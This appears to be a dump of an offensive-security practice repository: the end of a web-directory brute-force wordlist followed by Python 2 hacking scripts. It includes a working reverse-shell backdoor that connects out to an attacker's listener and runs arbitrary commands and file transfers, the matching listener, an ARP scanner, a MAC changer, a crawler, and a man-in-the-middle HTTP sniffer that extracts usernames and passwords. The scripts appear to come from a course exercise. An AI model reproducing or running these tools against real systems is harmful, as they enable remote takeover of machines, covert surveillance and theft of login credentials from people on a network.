4308 | viewonline
4309 | views
4310 | viewsource
4311 | view-source
4312 | viewsvn
4313 | viewthread
4314 | viewtopic
4315 | viewvc
4316 | vip
4317 | virtual
4318 | virus
4319 | visit
4320 | visitor
4321 | visitormessage
4322 | vista
4323 | vm
4324 | vmailadmin
4325 | void
4326 | voip
4327 | vol
4328 | volunteer
4329 | vote
4330 | voted
4331 | voter
4332 | votes
4333 | vp
4334 | vpg
4335 | vpn
4336 | vs
4337 | vsadmin
4338 | vuln
4339 | vvc_display
4340 | w
4341 | W
4342 | w3
4343 | w3c
4344 | w3svc
4345 | W3SVC
4346 | W3SVC1
4347 | W3SVC2
4348 | W3SVC3
4349 | wa
4350 | wallpaper
4351 | wallpapers
4352 | wap
4353 | war
4354 | warenkorb
4355 | warez
4356 | warn
4357 | way-board
4358 | wbboard
4359 | wbsadmin
4360 | wc
4361 | wcs
4362 | wdav
4363 | weather
4364 | web
4365 | web.config
4366 | web.xml
4367 | web_users
4368 | web1
4369 | web2
4370 | web3
4371 | webaccess
4372 | webadm
4373 | webadmin
4374 | WebAdmin
4375 | webagent
4376 | webalizer
4377 | webapp
4378 | webapps
4379 | webb
4380 | webbbs
4381 | web-beans
4382 | webboard
4383 | webcalendar
4384 | webcam
4385 | webcart
4386 | webcast
4387 | webcasts
4388 | webcgi
4389 | webcharts
4390 | webchat
4391 | web-console
4392 | webctrl_client
4393 | webdata
4394 | webdav
4395 | webdb
4396 | webdist
4397 | webedit
4398 | webfm_send
4399 | webhits
4400 | webim
4401 | webinar
4402 | web-inf
4403 | WEB-INF
4404 | weblog
4405 | weblogic
4406 | weblogs
4407 | webmail
4408 | webmaster
4409 | webmasters
4410 | webpages
4411 | webplus
4412 | webresource
4413 | websearch
4414 | webservice
4415 | webservices
4416 | webshop
4417 | website
4418 | websites
4419 | websphere
4420 | websql
4421 | webstat
4422 | webstats
4423 | websvn
4424 | webtrends
4425 | webusers
4426 | webvpn
4427 | webwork
4428 | wedding
4429 | week
4430 | weekly
4431 | welcome
4432 | well
4433 | wellcome
4434 | werbung
4435 | wget
4436 | what
4437 | whatever
4438 | whatnot
4439 | whatsnew
4440 | white
4441 | whitepaper
4442 | whitepapers
4443 | who
4444 | whois
4445 | wholesale
4446 | whosonline
4447 | why
4448 | wicket
4449 | wide_search
4450 | widget
4451 | widgets
4452 | wifi
4453 | wii
4454 | wiki
4455 | will
4456 | win
4457 | win32
4458 | windows
4459 | Windows
4460 | wink
4461 | winnt
4462 | wireless
4463 | wishlist
4464 | with
4465 | wiz
4466 | wizard
4467 | wizmysqladmin
4468 | wml
4469 | wolthuis
4470 | word
4471 | wordpress
4472 | work
4473 | workarea
4474 | workflowtasks
4475 | working
4476 | workplace
4477 | works
4478 | workshop
4479 | workshops
4480 | world
4481 | worldpayreturn
4482 | worldwide
4483 | wow
4484 | wp
4485 | wp-admin
4486 | wp-app
4487 | wp-atom
4488 | wpau-backup
4489 | wp-blog-header
4490 | wpcallback
4491 | wp-comments
4492 | wp-commentsrss2
4493 | wp-config
4494 | wpcontent
4495 | wp-content
4496 | wp-cron
4497 | wp-dbmanager
4498 | wp-feed
4499 | wp-icludes
4500 | wp-images
4501 | wp-includes
4502 | wp-links-opml
4503 | wp-load
4504 | wp-login
4505 | wp-mail
4506 | wp-pass
4507 | wp-rdf
4508 | wp-register
4509 | wp-rss
4510 | wp-rss2
4511 | wps
4512 | wp-settings
4513 | wp-signup
4514 | wp-syntax
4515 | wp-trackback
4516 | wrap
4517 | writing
4518 | ws
4519 | ws_ftp
4520 | WS_FTP
4521 | WS_FTP.LOG
4522 | ws-client
4523 | wsdl
4524 | wss
4525 | wstat
4526 | wstats
4527 | wt
4528 | wtai
4529 | wusage
4530 | wwhelp
4531 | www
4532 | www1
4533 | www2
4534 | www3
4535 | wwwboard
4536 | wwwjoin
4537 | wwwlog
4538 | wwwroot
4539 | www-sql
4540 | wwwstat
4541 | wwwstats
4542 | wwwthreads
4543 | wwwuser
4544 | wysiwyg
4545 | wysiwygpro
4546 | x
4547 | X
4548 | xajax
4549 | xajax_js
4550 | xalan
4551 | xbox
4552 | xcache
4553 | xcart
4554 | xd_receiver
4555 | xdb
4556 | xerces
4557 | xfer
4558 | xhtml
4559 | xlogin
4560 | xls
4561 | xmas
4562 | xml
4563 | XML
4564 | xmlfiles
4565 | xmlimporter
4566 | xmlrpc
4567 | xml-rpc
4568 | xmlrpc.php
4569 | xmlrpc_server
4570 | xmlrpc_server.php
4571 | xn
4572 | xsl
4573 | xslt
4574 | xsql
4575 | xx
4576 | xxx
4577 | XXX
4578 | xyz
4579 | xyzzy
4580 | y
4581 | yahoo
4582 | year
4583 | yearly
4584 | yesterday
4585 | yml
4586 | yonetici
4587 | yonetim
4588 | youtube
4589 | yshop
4590 | yt
4591 | yui
4592 | z
4593 | zap
4594 | zboard
4595 | zencart
4596 | zend
4597 | zero
4598 | zeus
4599 | zh
4600 | zh_CN
4601 | zh_TW
4602 | zh-cn
4603 | zh-tw
4604 | zimbra
4605 | zip
4606 | zipfiles
4607 | zips
4608 | zoeken
4609 | zone
4610 | zones
4611 | zoom
4612 | zope
4613 | zorum
4614 | zt
4615 | 


--------------------------------------------------------------------------------
/listener.py:
--------------------------------------------------------------------------------
  1 | """
  2 | A program that listens for incoming connections on a specific port.
  3 | 
  4 | It acts as linux command such as "nc -vv -l -p 4444"
  5 | """
  6 | import socket
  7 | import optparse
  8 | import socket
  9 | import json
 10 | import base64
 11 | 
 12 | def get_arguments():
 13 |     # Get command line arguments
 14 |     """
 15 |     Get the current IP Address.
 16 | 
 17 |     :return: IP Address of host device
 18 |     :rtype: str, str
 19 |     """
 20 |     parser = optparse.OptionParser()
 21 | 
 22 |     # Get the IP Address
 23 |     parser.add_option("-i", "--ip", dest="ip",
 24 |                       help="IP Address")
 25 | 
 26 |     (options, arguments) = parser.parse_args()
 27 | 
 28 |     # Code to handle error
 29 |     if not options.ip:
 30 |         parser.error(
 31 |             "[-] Please specify an IP Address"
 32 |             " use --help for more info.")
 33 |     return options.ip
 34 | 
 35 | 
 36 | class Listener:
 37 |     """
 38 |     Listener from a specific port.
 39 |     """
 40 | 
 41 |     def __init__(self, ip, port):
 42 |         listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 43 | 
 44 |         # enable an option that allows us to reuse the socket
 45 |         listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
 46 |         listener.bind((ip, port))
 47 | 
 48 |         listener.listen(0)
 49 |         print("[+] Waiting for incoming connections")
 50 | 
 51 |         self.connection, address = listener.accept()
 52 |         print("[+] Got a connection from " + str(address))
 53 | 
 54 |     def reliable_send(self, data):
 55 |         """
 56 |         Convert data into json data and send it.
 57 |         Use this custom send method instead of socket send method.
 58 | 
 59 |         :param data: data that we want to send 
 60 |         :type data: obj
 61 |         """
 62 |         json_data = json.dumps(data)
 63 |         self.connection.send(json_data)
 64 | 
 65 |     def reliable_receive(self):
 66 |         """
 67 |         Unwrap data into obj.
 68 |         Use this custom receive method instead of socket recv method.
 69 |         """
 70 |         json_data = ""
 71 |         while True:
 72 |             try:
 73 |                 json_data = json_data + self.connection.recv(1024)
 74 |                 return json.loads(json_data)
 75 |             except ValueError:
 76 |                 continue
 77 | 
 78 |     def execute_remotely(self, command):
 79 |         """
 80 |         Execute a system command remotely. 
 81 |         
 82 |         :param command: command that we want to execute
 83 |         :type command: list
 84 |         :return: resulting command
 85 |         :rtype: str
 86 |         """
 87 |         self.reliable_send(command)
 88 | 
 89 |         if command[0] == "exit":
 90 |             self.connection.close()
 91 |             exit()
 92 | 
 93 |         return self.reliable_receive()
 94 | 
 95 |     def write_file(self, path, content):
 96 |         """
 97 |         Write the target's downloaded file.
 98 |         :param path: path that we want to store the file
 99 |         :type path: str
100 |         :param content: the content of the file that we want to download
101 |         :type content: obj
102 |         :return: message
103 |         :rtype: str
104 |         """
105 |         with open(path, "wb") as file:
106 |             file.write(base64.b64decode(content))
107 |             return "[+] Download successful."
108 | 
109 |     def read_file(self, path):
110 |         """
111 |         Read a file from the path
112 |         :param path: the path that contains the file we wanted to read
113 |         :type path: str
114 |         """
115 |         with open(path, "rb") as file:
116 |             # convert unknown characters to known characters
117 |             return base64.b64encode(file.read())
118 | 
119 |     def run(self):
120 |         """
121 |         Run the listener.
122 |         """
123 |         while True:
124 |             command = raw_input(">> ")
125 |             command = command.split(" ")
126 | 
127 |             try:
128 |                 if command[0] == "upload":
129 |                     file_content = self.read_file(command[1])
130 |                     command.append(file_content)
131 | 
132 |                 result = self.execute_remotely(command)
133 | 
134 |                 if command[0] == "download" and "[-] Error " not in result:
135 |                     result = self.write_file(command[1], result)
136 | 
137 |             except Exception:
138 |                 result = "[-] Error during command execution."
139 | 
140 |             print(result)
141 | 
142 | 
143 | if __name__ == "__main__":
144 |     ip_address = get_arguments()
145 |     my_listener = Listener(ip_address, 4444)
146 |     my_listener.run()
147 | 


--------------------------------------------------------------------------------
/mac_changer.py:
--------------------------------------------------------------------------------
  1 | """
  2 | A program that is used to change the MAC Address to ensure anonymity.
  3 | 
  4 | MAC Address Changer by calling system commands using subprocess module which
  5 | is used to to ensure anonymity.
  6 | 
  7 | Commands:
  8 |     # Disable interface
  9 |     ifconfig [interface] down
 10 |     # Change MAC Address
 11 |     ifconfig [interface] hw ether [New MAC Address]
 12 |     # Enable interface
 13 |     ifconfig [interface] up
 14 | """
 15 | import subprocess
 16 | import optparse  # get arguments from user, parse and use them
 17 | import re
 18 | 
 19 | 
 20 | def get_arguments():
 21 |     # Get command line arguments
 22 |     """
 23 |     Get the name of interface and new MAC Address from user input.
 24 |     
 25 |     :return: name of the interface, and new MAC Address from command line 
 26 |              argument
 27 |     :rtype: str, str
 28 |     """
 29 |     parser = optparse.OptionParser()
 30 | 
 31 |     # Get the name of intergace from user input
 32 |     parser.add_option("-i", "--interface", dest="interface",
 33 |                       help="Interface to change its MAC Address")
 34 |     # Get the new MAC Address
 35 |     parser.add_option("-m", "--mac", dest="new_mac_address",
 36 |                       help="New MAC Address")
 37 | 
 38 |     (options, arguments) = parser.parse_args()
 39 | 
 40 |     # Code to handle error
 41 |     if not options.interface:
 42 |         parser.error(
 43 |             "[-] Please specify an interface, use --help for more info.")
 44 |     elif not options.new_mac_address:
 45 |         parser.error(
 46 |             "[-] Please specify a new MAC Address, use --help for more info.")
 47 |     return options.interface, options.new_mac_address
 48 | 
 49 | 
 50 | def change_mac(interface, new_mac_address):
 51 | 
 52 |     """
 53 |     Change the MAC Address of interface to new_mac_address.
 54 | 
 55 |     :param interface: The name of the interface
 56 |     :type interface: str
 57 |     :param new_mac_address: THe new address that we want to change to
 58 |     :type new_mac_address: str
 59 |     """
 60 |     # Disable the interface
 61 |     subprocess.call(["ifconfig", interface, "down"])
 62 |     # Change the MAC Address
 63 |     subprocess.call(["ifconfig", interface, "hw", "ether", new_mac_address])
 64 |     # Enable the interface
 65 |     subprocess.call(["ifconfig", interface, "up"])
 66 | 
 67 | 
 68 | def get_current_mac_address(interface):
 69 |     # Check to see if command line argument is correcrt
 70 |     """
 71 |     Check if the interface is valid by checking its MAC Address
 72 | 
 73 |     :param interface: The name of the interface
 74 |     :type interface: str
 75 |     :return: current MAC Address
 76 |     :rtype: 
 77 |     
 78 |     """
 79 |     ifcofnig_result = subprocess.check_output(["ifconfig", interface])
 80 |     mac_address_search_result = re.search(r"\w\w:\w\w:\w\w:\w\w:\w\w:\w\w",
 81 |                                           ifcofnig_result)
 82 | 
 83 |     if mac_address_search_result:
 84 |         return mac_address_search_result.group(0)
 85 |     else:
 86 |         print("[-] Could not read MAC address.")
 87 | 
 88 | 
 89 | if __name__ == "__main__":
 90 |     input_interface, input_new_mac_address = get_arguments()
 91 | 
 92 |     current_mac_address = get_current_mac_address(input_interface)
 93 |     print("Before MAC Address = " + str(current_mac_address))
 94 | 
 95 |     change_mac(input_interface, input_new_mac_address)
 96 | 
 97 |     current_mac_address = get_current_mac_address(input_interface)
 98 | 
 99 |     if current_mac_address == input_new_mac_address:
100 |         print("[-] MAC Address was successfully changed to " +
101 |               input_new_mac_address)
102 |     else:
103 |         print("[-] MAC Address did not get changed.")
104 | 


--------------------------------------------------------------------------------
/network_scanner.py:
--------------------------------------------------------------------------------
 1 | """
 2 | A program that uses target IP Address to get the target MAC Address under the 
 3 | same network.
 4 | 
 5 | Network Scanner Algorithm:
 6 | 1. Create arp request directed to broadcast MAC asking for IP
 7 |     a) Use ARP to ask who has target IP
 8 |     b) Set destination MAC to broadcast MAC
 9 | 2. Send packet and receive response
10 | 3. Parse the response
11 | 4. Print result
12 | 
13 | Need to install scapy:
14 |     Python2: pip install scapy
15 |     Python3: pip3 install scapy-python3
16 | """
17 | 
18 | import scapy.all as scapy
19 | import optparse
20 | 
21 | 
22 | def get_arguments():
23 |     # Get command line arguments
24 |     """
25 |     Get the target IP address from command line argument.
26 | 
27 |     :return: IP Address of target device
28 |     :rtype: str
29 |     """
30 |     parser = optparse.OptionParser()
31 | 
32 |     # Get the ip address
33 |     parser.add_option("-t", "--target", dest="target_ip",
34 |                       help="Target IP / IP range")
35 | 
36 |     options, arguments = parser.parse_args()
37 | 
38 |     return options.target_ip
39 | 
40 | 
41 | def scan(ip_address):
42 |     """
43 |     Discover clients on the same network using ARP protocol.
44 |     
45 |     :param ip_address: ip address
46 |     :type ip_address: str
47 |     """
48 |     arp_request = scapy.ARP(pdst=ip_address)
49 |     broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")  # ethernet object
50 |     # final packet
51 |     arp_request_broadcast = broadcast/arp_request
52 | 
53 |     # use srp function to send arp_request_broadcast packet and receive response
54 |     answered_list = scapy.srp(arp_request_broadcast, timeout=1,
55 |                               verbose=False)[0]
56 | 
57 |     # get list of client(ip address, mac address)
58 |     clients_list = []
59 |     for element in answered_list:
60 |         client_dict = {"ip": element[1].psrc, "mac": element[1].hwsrc}
61 |         clients_list.append(client_dict)
62 |     return clients_list
63 | 
64 | 
65 | def print_result(result_list):
66 |     """
67 |     Print out the information of all client that are connected in the same 
68 |     network.
69 |     
70 |     :param result_list: list of clients
71 |     :type result_list: list of dict
72 |     """
73 |     print("IP\t\t\t\tMAC Address\n--------------------------------------------")
74 |     for client in result_list:
75 |         print(client["ip"] + "\t\t" + client["mac"])
76 | 
77 | 
78 | if __name__ == "__main__":
79 |     target_ip = get_arguments()
80 |     scan_result = scan(target_ip)
81 |     print_result(scan_result)
82 | 


--------------------------------------------------------------------------------
/packet_sniffer.py:
--------------------------------------------------------------------------------
  1 | """
  2 | A program that acts as MITM (Man In The Middle) to sniff/capture data through 
  3 | http layer such as url, username, password, etc.
  4 | 
  5 | Packet Sniffer (Mainly http)
  6 | 
  7 | Capture data flowing through an interface.
  8 | Filter this data.
  9 | Display information such as:
 10 |     1. Login info (username, passwords)
 11 |     2. Visited websites
 12 |     3. Images
 13 |     ...
 14 |     
 15 | Caution: Running with arp_spoof.py at the same time. 
 16 | 
 17 | Required: 1. scapy library
 18 |              scapy can be used to:
 19 |                 a) create packets
 20 |                 b) analyse packets
 21 |                 c) send/receive packets
 22 |              but it can't be used to intercept packets
 23 |           2. Scapy-http (Support for parsing HTTP in Scapy)
 24 |                 sudo pip install scapy-http
 25 |         
 26 | 
 27 | ARP Spoof + Packet Sniffer:
 28 |     1. Target a computer on the same network
 29 |     2. arp_spoof to redirect flow of packets (become MITM (Man In The Middle))
 30 |     3. packet_sniffer to see URLs, usernames and passwords sent by target
 31 | 
 32 | """
 33 | import scapy.all as scapy
 34 | from scapy.layers import http
 35 | import optparse
 36 | 
 37 | 
 38 | def get_arguments():
 39 |     # Get command line arguments
 40 |     """
 41 |     Get the name of interface.
 42 | 
 43 |     :return: name of the interface,
 44 |     :rtype: str
 45 |     """
 46 |     parser = optparse.OptionParser()
 47 | 
 48 |     # Get the name of intergace from user input
 49 |     parser.add_option("-i", "--interface", dest="interface",
 50 |                       help="Interface to change its MAC Address")
 51 | 
 52 |     (options, arguments) = parser.parse_args()
 53 | 
 54 |     # Code to handle error
 55 |     if not options.interface:
 56 |         parser.error(
 57 |             "[-] Please specify an interface, use --help for more info.")
 58 | 
 59 |     return options.interface
 60 | 
 61 | 
 62 | def sniff(interface):
 63 |     """
 64 |     Use the interface to sinff and capture data. (MITM)
 65 | 
 66 |     :param interface: THe name of the interface that we will be sniffing and 
 67 |                       capturing data from
 68 |     :type interface: str
 69 |     """
 70 |     # iface: name of the interface
 71 |     # store: wheter store sniffed data into memory or not
 72 |     # prn: callback function
 73 |     # filter (optional): filter packet
 74 |     scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)
 75 | 
 76 | 
 77 | def get_url(packet):
 78 |     """
 79 |     Get the url of the webstie that the target computer is visiting.
 80 | 
 81 |     :param packet: The sniffed packet
 82 |     :type packet: packet
 83 |     :return: The url of a webstie
 84 |     :rtype: str
 85 |     """
 86 |     return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
 87 | 
 88 | 
 89 | def get_login_info(packet):
 90 |     # looking for raw layer
 91 |     """
 92 | 
 93 |     :param packet: The sniffed packet
 94 |     :type packet: packet
 95 |     :return: sniffed login information
 96 |     :rtype: str
 97 |     """
 98 |     if packet.haslayer(scapy.Raw):
 99 |         load = packet[scapy.Raw].load
100 |         # looking for username and password
101 |         keywords = ["username", "user", "login", "password", "pass"]
102 |         for keyword in keywords:
103 |             if keyword in load:
104 |                 return load
105 | 
106 | 
107 | def process_sniffed_packet(packet):
108 |     # looking for http layer
109 |     """
110 | 
111 |     :param packet: The sniffed packet
112 |     :type packet: packet
113 |     """
114 |     if packet.haslayer(http.HTTPRequest):
115 |         # looking for url (the website that the user visited)
116 |         url = get_url(packet)
117 |         print("[+] HTTP Request >> " + url)
118 |         # looking for login information
119 |         login_info = get_login_info(packet)
120 |         if login_info:
121 |             print("\n\n[+] Possibel username/password >> " + login_info +
122 |                   "\n\n")
123 | 
124 | 
125 | if __name__ == "__main__":
126 |     input_interface = get_arguments()
127 |     sniff(input_interface)
128 | 


--------------------------------------------------------------------------------
/reverse_backdoor.py:
--------------------------------------------------------------------------------
  1 | """
  2 | A simple backdoor program.
  3 | 
  4 | Reverse backdoor:
  5 |     Listening for incoming connections on a specific port
  6 |     1. Access file system
  7 |     2. Execute system commands
  8 |     3. Download files
  9 |     4. Upload files
 10 |     5. Persistence
 11 |     
 12 |     
 13 | Backdoor:
 14 |     Interactive program gives access to system its executed on.
 15 |         1. Command execution
 16 |         2. Access file system
 17 |         3. Upload/Download files
 18 |             - a file is a series of character
 19 |             - uploading a file is the opposite of downloading a file
 20 |             - transfer a file we need to:
 21 |                 a) read the file as a sequence of characters
 22 |                 b) send this sequence of characters
 23 |                 c) create a new emtpy file at destination
 24 |                 d) store the transferred sequence of characters in the new file
 25 |         4. Run keylogger
 26 |         ...
 27 |         
 28 |     Handling Errors:
 29 |         1. If the client or server crashes, the connection will be lost
 30 |         2. Backdoor crashes if:
 31 |             - incorrect command is sent
 32 |             - correct command is miss-used
 33 |             
 34 |             
 35 | Backdoors sockets:
 36 |     Problem:
 37 |         1. TCP is stream based
 38 |         2. Difficult to identify the end of message/batch
 39 | 
 40 |     Solution:
 41 |         1. Make sure the message is well defined
 42 |         2. Implement a protocol that sends and receives methods conform to
 43 |             - send size of mesaage as header
 44 |             - append a end-of-message mark to the end of each message
 45 |             - serialize the message
 46 | 
 47 | 
 48 | Backdoors serialization:
 49 |     Benefits:
 50 |         1. Message is well defined, receiver knows if message is incomplete
 51 |         2. Can be used to transfer objects (list,s dicts, ...)
 52 | 
 53 |     Client(sample long data to send ove tcp stream) -> Packing -> Server(Unpack)
 54 |         Client: converts obejct to a stream of well-defined bytes
 55 |         Server: converts well-defined stream of bytes back into an object
 56 | 
 57 |     Implementation:
 58 |         1. Json(Javascript Object Notation) and Pickle are common solutions
 59 |         2. Represents objects as text
 60 |         3. widely used when transferring data between clients and servers
 61 |         
 62 |  
 63 | Why do we use reverse connection:       
 64 |     1. Bind/Direct Connection is easy to be detected by the firewall 
 65 |     
 66 | Need to run following command in host machine to listen from incoming connection
 67 |     nc -vv -l -p 4444
 68 | """
 69 | import os
 70 | import socket
 71 | import subprocess
 72 | import json
 73 | import base64
 74 | 
 75 | 
 76 | class Backdoor:
 77 |     """
 78 |     Backdoor program.
 79 |     """
 80 | 
 81 |     def __init__(self, ip, port):
 82 |         self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 83 |         # (ip of destination, port opened in target)
 84 |         self.connection.connect((ip, port))
 85 |         # send data
 86 |         self.reliable_send("\n[+] Connection established.\n")
 87 | 
 88 |     def reliable_send(self, data):
 89 |         """
 90 |         Convert data into json data and send it.
 91 |         Use this custom send method instead of socket send method.
 92 | 
 93 |         :param data: data that we want to send 
 94 |         :type data: obj
 95 |         """
 96 |         json_data = json.dumps(data)
 97 |         self.connection.send(json_data)
 98 | 
 99 |     def reliable_receive(self):
100 |         """
101 |         Unwrap data into obj.
102 |         Use this custom receive method instead of socket recv method.
103 |         """
104 |         json_data = ""
105 |         while True:
106 |             try:
107 |                 json_data = json_data + self.connection.recv(1024)
108 |                 return json.loads(json_data)
109 |             except ValueError:
110 |                 continue
111 | 
112 |     def execute_system_command(self, command):
113 |         """
114 |         Execute a system command.
115 |     
116 |         :param command: command that we want to execute
117 |         :type command: str
118 |         :return: resulting command 
119 |         :rtype: str
120 |         """
121 |         return subprocess.check_output(command, shell=True)
122 | 
123 |     def change_working_directory_to(self, path):
124 |         """
125 |         Change the working directory to the path.
126 |         :param path: the path that we want to change to
127 |         :type path: str
128 |         :return: message
129 |         :rtype: str
130 |         """
131 |         os.chdir(path)
132 |         return "[+] Changing working directory to " + path
133 | 
134 |     def write_file(self, path, content):
135 |         """
136 |         Write the target's downloaded file.
137 |         :param path: path that we want to store the file
138 |         :type path: str
139 |         :param content: the content of the file that we want to download
140 |         :type content: obj
141 |         :return: message
142 |         :rtype: str
143 |         """
144 |         with open(path, "wb") as file:
145 |             file.write(base64.b64decode(content))
146 |             return "[+] Download successful."
147 | 
148 |     def read_file(self, path):
149 |         """
150 |         Read a file from the path
151 |         :param path: the path that contains the file we wanted to read
152 |         :type path: str
153 |         """
154 |         with open(path, "rb") as file:
155 |             # convert unknown characters to known characters
156 |             return base64.b64encode(file.read())
157 | 
158 |     def run(self):
159 |         """
160 |         Run the backdoor program.
161 |         """
162 |         while True:
163 |             command = self.reliable_receive()
164 |             command_result = ""
165 |             try:
166 |                 # exit command
167 |                 if command[0] == "exit":
168 |                     self.connection.close()
169 |                     exit()
170 | 
171 |                 # cd command
172 |                 elif command[0] == "cd" and len(command) > 1:
173 |                     command_result = self.change_working_directory_to(command[1])
174 | 
175 |                 # read file
176 |                 elif command[0] == "download" and len(command) > 1:
177 |                     command_result = self.read_file(command[1])
178 | 
179 |                 # write file
180 |                 elif command[0] == "upload" and len(command) > 1:
181 |                     command_result = self.write_file(command[1], command[2])
182 | 
183 |                 # execute command
184 |                 else:
185 |                     command_result = self.execute_system_command(command)
186 | 
187 |             except Exception:
188 |                 command_result = "[-] Error during command execution."
189 |             self.reliable_send(command_result)
190 | 
191 | 
192 | if __name__ == "__main__":
193 |     # TODO: set ip_address to local ip address
194 |     ip_address = ""
195 |     backdoor = Backdoor(ip_address, 4444)
196 |     backdoor.run()
197 | 


--------------------------------------------------------------------------------
/spider.py:
--------------------------------------------------------------------------------
 1 | import optparse
 2 | import requests
 3 | import re
 4 | import urlparse
 5 | 
 6 | target_links = []
 7 | 
 8 | 
 9 | def get_arguments():
10 |     """
11 |     Get the url of a target website.
12 | 
13 |     :return: the url of a website
14 |     :rtype: str
15 |     """
16 |     parser = optparse.OptionParser()
17 | 
18 |     # Get the url
19 |     parser.add_option("-u", "--url", dest="url",
20 |                       help="URL of website")
21 | 
22 |     (options, arguments) = parser.parse_args()
23 | 
24 |     # Code to handle error
25 |     if not options.url:
26 |         parser.error(
27 |             "[-] Please specify an url, use --help for more info.")
28 | 
29 |     return options.url
30 | 
31 | 
32 | def extract_links_from(url):
33 |     """
34 |     Get request from url and return all of its links.
35 |     :param url: url of a website/web server
36 |     :type url: str
37 |     :return: list of href
38 |     :rtype: list
39 |     """
40 |     response = requests.get(url)
41 | 
42 |     return re.findall('(?:href=")(.*?)"', response.content)
43 | 
44 | 
45 | def craw(url):
46 |     """ 
47 |     Recrusively find all ahref links and print them.
48 |     
49 |     :param url: url 
50 |     :type url: str
51 |     """
52 |     href_links = extract_links_from(url)
53 | 
54 |     for link in href_links:
55 |         link = urlparse.urljoin(url, link)
56 | 
57 |         if "#" in link:
58 |             link = link.split("#")[0]
59 | 
60 |         if url in link and link not in target_links:
61 |             target_links.append(link)
62 |             print(link)
63 |             craw(link)
64 | 
65 | 
66 | if __name__ == "__main__":
67 |     target_url = get_arguments()
68 | 
69 |     craw(target_url)
70 | 


--------------------------------------------------------------------------------